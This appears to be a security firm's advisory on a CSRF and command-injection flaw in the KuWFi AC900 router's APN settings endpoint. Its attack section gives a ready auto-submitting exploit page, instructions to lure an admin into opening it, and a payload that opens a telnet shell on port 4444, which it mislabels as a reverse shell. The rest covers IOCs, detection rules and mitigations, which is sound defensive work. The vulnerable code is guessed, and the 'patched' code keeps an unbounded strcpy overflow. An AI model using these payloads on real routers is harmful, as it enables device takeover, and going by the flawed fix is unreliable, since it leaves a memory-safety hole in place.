CVE-2024-53946

Executive Summary

CVE-2024-53946 identifies a critical Cross-Site Request Forgery (CSRF) vulnerability in the KuWFi 4G LTE AC900 router firmware version 1.0.13. The flaw resides in the web management interface, specifically within the /goform/formMultiApnSetting endpoint. An attacker can craft a malicious request that, when triggered by an authenticated admin user, performs unauthorized actions such as exploiting a command injection vulnerability or altering router configurations. This can lead to full device compromise, network pivoting, and data exfiltration. No official patch is available, and the vendor has not acknowledged the issue.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device.

CVSS Breakdown & Threat Level

• CVSS Score: 9.6 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must click a link)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The combination of CSRF with command injection allows remote attackers to execute arbitrary commands on the router without authentication, provided they can trick an admin into clicking a malicious link.

Deep Dive & Mechanics

The vulnerability is a classic CSRF flaw in the router's web management interface. The /goform/formMultiApnSetting endpoint processes APN configuration changes without validating the origin of the request. An attacker can host a malicious HTML page that, when visited by an authenticated admin, automatically submits a form to this endpoint. The form can include payloads that exploit a command injection vulnerability in the same endpoint, allowing arbitrary OS command execution.

Root Cause: The router does not implement anti-CSRF tokens (e.g., nonces) or origin/referer header checks. Additionally, the endpoint fails to sanitize user input before passing it to system commands, enabling command injection.

Attack Flow:

1. Attacker identifies a target KuWFi router with an active admin session.
2. Attacker crafts a malicious HTML page with a hidden form targeting http://<router-ip>/goform/formMultiApnSetting.
3. The form includes parameters that trigger command injection (e.g., apn=;reboot).
4. Attacker lures the admin to visit the page (e.g., via phishing email).
5. The admin's browser sends the forged request, executing the injected command.

Vulnerable vs. Patched Code

Vulnerable Code (firmware 1.0.13): The endpoint /goform/formMultiApnSetting likely uses a function similar to:

void handleMultiApnSetting() {
    char apn[256];
    strcpy(apn, get_param("apn"));
    char cmd[512];
    sprintf(cmd, "echo %s >> /etc/config/apn", apn);
    system(cmd);
}

This directly concatenates user input into a system command without sanitization.

Patched Code (hypothetical):

void handleMultiApnSetting() {
    if (!validate_csrf_token()) {
        return;
    }
    char apn[256];
    strcpy(apn, get_param("apn"));
    // Sanitize input: allow only alphanumeric and dots
    for (int i = 0; apn[i]; i++) {
        if (!isalnum(apn[i]) && apn[i] != '.') {
            apn[i] = '_';
        }
    }
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "echo %s >> /etc/config/apn", apn);
    system(cmd);
}

The patched version adds CSRF token validation and input sanitization.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target router with web interface accessible on the network.
• Admin user currently authenticated (session cookie valid).

Exploit HTML (csrf_exploit.html):

<html>
<body>
<form id="csrf" action="http://192.168.1.1/goform/formMultiApnSetting" method="POST">
  <input type="hidden" name="apn" value=";reboot" />
  <input type="hidden" name="username" value="admin" />
  <input type="hidden" name="password" value="admin" />
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>

Usage: Host this file on a server and send the link to the admin. Upon clicking, the router reboots.

Advanced Payload (reverse shell):

<input type="hidden" name="apn" value=";telnetd -l /bin/sh -p 4444 &" />

This starts a telnet daemon on port 4444 for remote access.

Blue Team (Defender)

Detection Steps:

1. Monitor for unusual HTTP POST requests to /goform/formMultiApnSetting with suspicious parameters.
2. Check router logs for unexpected reboots or configuration changes.
3. Implement network segmentation to isolate router management interfaces.

Honeypot Setup: Deploy a fake KuWFi router on a separate VLAN. Log all POST requests to /goform/formMultiApnSetting and alert on any attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /goform/formMultiApnSetting with parameters containing shell metacharacters (;, |, &, $).
  • Outbound connections from the router to unknown IPs on ports 4444, 31337, or common reverse shell ports.
• File IOCs:
  • Modified /etc/config/apn file with injected commands.
  • Presence of /tmp/.exploit or similar temporary files.
• Behavioral IOCs:
  • Router rebooting unexpectedly.
  • Unauthorized changes to APN settings.
  • New processes like telnetd or bash spawned from the web server.

Detection Engineering

YARA Rule

rule CVE_2024_53946_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts for CVE-2024-53946"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-53946"
    strings:
        $csrf_form = "formMultiApnSetting" ascii wide nocase
        $shell_meta = /[;|&$`(){}]/ ascii
    condition:
        $csrf_form and #shell_meta > 2
}

Sigma Rule

title: CVE-2024-53946 CSRF Exploit Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /goform/formMultiApnSetting with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/goform/formMultiApnSetting'
        cs-uri-query|re: '.*[;|&$`(){}].*'
    condition: selection
falsepositives:
    - Legitimate APN configuration with special characters (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-53946 CSRF Exploit Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/goform/formMultiApnSetting"; http_uri;
    pcre:"/[;|&$`(){}]/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2024-53946;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If not required, disable WAN-side access to the router's web interface.
2. Change Default Credentials: Ensure admin password is strong and unique.
3. Network Segmentation: Place the router on a separate VLAN with strict firewall rules.
4. Monitor Logs: Enable logging and monitor for suspicious POST requests.

Long-Term Fix:

• Vendor must release a firmware update that implements CSRF tokens and input sanitization.
• Until then, consider replacing the device with a more secure alternative.

Workaround:

• Use a reverse proxy (e.g., Nginx) in front of the router to filter malicious requests:

location /goform/formMultiApnSetting {
    if ($request_method = POST) {
        return 403;
    }
}

Valters IT
Securing Digital Frontiers